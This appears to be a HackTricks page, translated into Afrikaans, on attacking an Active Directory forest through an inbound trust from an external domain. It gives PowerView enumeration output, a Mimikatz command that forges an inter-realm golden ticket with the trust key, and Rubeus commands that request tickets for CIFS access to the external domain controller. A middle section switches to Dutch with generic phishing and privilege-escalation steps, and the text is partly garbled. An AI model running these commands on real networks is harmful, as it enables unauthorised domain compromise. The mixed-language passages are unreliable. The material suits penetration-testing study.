Werk jy in 'n cybersecurity-maatskappy? Wil jy jou maatskappy geadverteer sien in HackTricks? Of wil jy toegang hê tot die nuutste weergawe van die PEASS of laai HackTricks in PDF af? Kyk na die SUBSCRIPTION PLANS!
In hierdie scenario vertrou 'n eksterne domein jou (of vertrou hulle mekaar), sodat jy 'n sekere mate van toegang daartoe kan kry.
Enumerasie
Eerstens moet jy die vertroue enumereer:
Get-DomainTrustSourceName : a.domain.local --> Current domainTargetName : domain.external --> Destination domainTrustType : WINDOWS-ACTIVE_DIRECTORYTrustAttributes :TrustDirection : Inbound --> Inboud trustWhenCreated : 2/19/202110:50:56 PMWhenChanged : 2/19/202110:50:56 PM# Get name of DC of the other domainGet-DomainComputer-Domain domain.external -Properties DNSHostNamednshostname-----------dc.domain.external# Groups that contain users outside of its domain and return its membersGet-DomainForeignGroupMember-Domain domain.externalGroupDomain : domain.externalGroupName : AdministratorsGroupDistinguishedName : CN=Administrators,CN=Builtin,DC=domain,DC=externalMemberDomain : domain.externalMemberName : S-1-5-21-3263068140-2042698922-2891547269-1133MemberDistinguishedName : CN=S-1-5-21-3263068140-2042698922-2891547269-1133,CN=ForeignSecurityPrincipals,DC=domain,DC=external# Get name of the principal in the current domain member of the cross-domain groupConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1133DEV\External Admins# Get members of the cros-domain groupGet-DomainGroupMember-Identity "External Admins"| select MemberNameMemberName----------crossuser# Lets list groups members## Check how the "External Admins" is part of the Administrators group in that DCGet-NetLocalGroupMember-ComputerName dc.domain.externalComputerName : dc.domain.externalGroupName : AdministratorsMemberName : SUB\External AdminsSID : S-1-5-21-3263068140-2042698922-2891547269-1133IsGroup : TrueIsDomain : True# You may also enumerate where foreign groups and/or users have been assigned# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.
In die vorige opname is gevind dat die gebruiker crossuser binne die External Admins groep is wat Admin-toegang het binne die DC van die eksterne domein.
Aanvanklike Toegang
As jy nie enige spesiale toegang van jou gebruiker in die ander domein kon vind nie, kan jy steeds teruggaan na die AD Metodologie en probeer om privesc van 'n onbevoorregte gebruiker te doen (dinge soos kerberoasting byvoorbeeld):
Jy kan Powerview funksies gebruik om die ander domein te opname deur die -Domain parameter te gebruik soos in:
Jy kan ook SID Geskiedenis misbruik maak oor 'n bos vertroue.
As 'n gebruiker van die een bos na die ander gemigreer word en SID Filtering nie geaktiveer is nie, word dit moontlik om 'n SID van die ander bos by te voeg, en hierdie SID sal by die gebruiker se token gevoeg word wanneer hy oor die vertroue geauthentiseer word.
As 'n herinnering, kan jy die ondertekening sleutel kry met
Jy kan die vertroude sleutel gebruik om 'n TGT te onderteken wat die gebruiker van die huidige domein naboots.
# Get a TGT for the cross-domain privileged user to the other domainInvoke-Mimikatz -Command '"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'
# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:C:\path\save\ticket.kirbi /nowrap
# Now you have a TGS to access the CIFS service of the domain controller
Volledige manier om die gebruiker te impersonate
Hier is een volledige methode om de gebruiker te impersoneren.
Verkrijg de gebruikersnaam en het wachtwoord van de doelgebruiker. Dit kan worden gedaan door middel van social engineering, phishing of het kraken van zwakke wachtwoorden.
Verkrijg toegang tot een systeem binnen het externe bosdomein waarin de doelgebruiker zich bevindt. Dit kan worden bereikt door het uitbuiten van kwetsbaarheden in de beveiliging of door het verkrijgen van legitieme toegangsreferenties.
Verhoog de privileges van de verkregen toegang tot het systeem. Dit kan worden gedaan door het uitvoeren van privilege-escalatie-exploits of door het verkrijgen van beheerdersreferenties.
Gebruik de verkregen privileges om de gebruiker te impersoneren. Dit kan worden gedaan door het wijzigen van de gebruikerscontext of door het gebruik van tools zoals "runas" om opdrachten uit te voeren als de doelgebruiker.
Het is belangrijk op te merken dat het impersoneren van een gebruiker zonder hun toestemming illegaal is en ernstige juridische gevolgen kan hebben. Deze informatie is alleen bedoeld voor educatieve doeleinden en mag niet worden misbruikt.
# Get a TGT of the user with cross-domain permissionsRubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap
# Get a TGT from the current domain for the target domain for the userRubeus.exe asktgs /service:krbtgt/domain.external /domain:sub.domain.local /dc:dc.sub.domain.local /ticket:doIFdD[...snip...]MuSU8= /nowrap
# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:doIFMT[...snip...]5BTA== /nowrap
# Now you have a TGS to access the CIFS service of the domain controller
Werk jy in 'n cybersecurity-maatskappy? Wil jy jou maatskappy geadverteer sien in HackTricks? Of wil jy toegang hê tot die nuutste weergawe van die PEASS of laai HackTricks in PDF af? Kyk na die SUBSCRIPTION PLANS!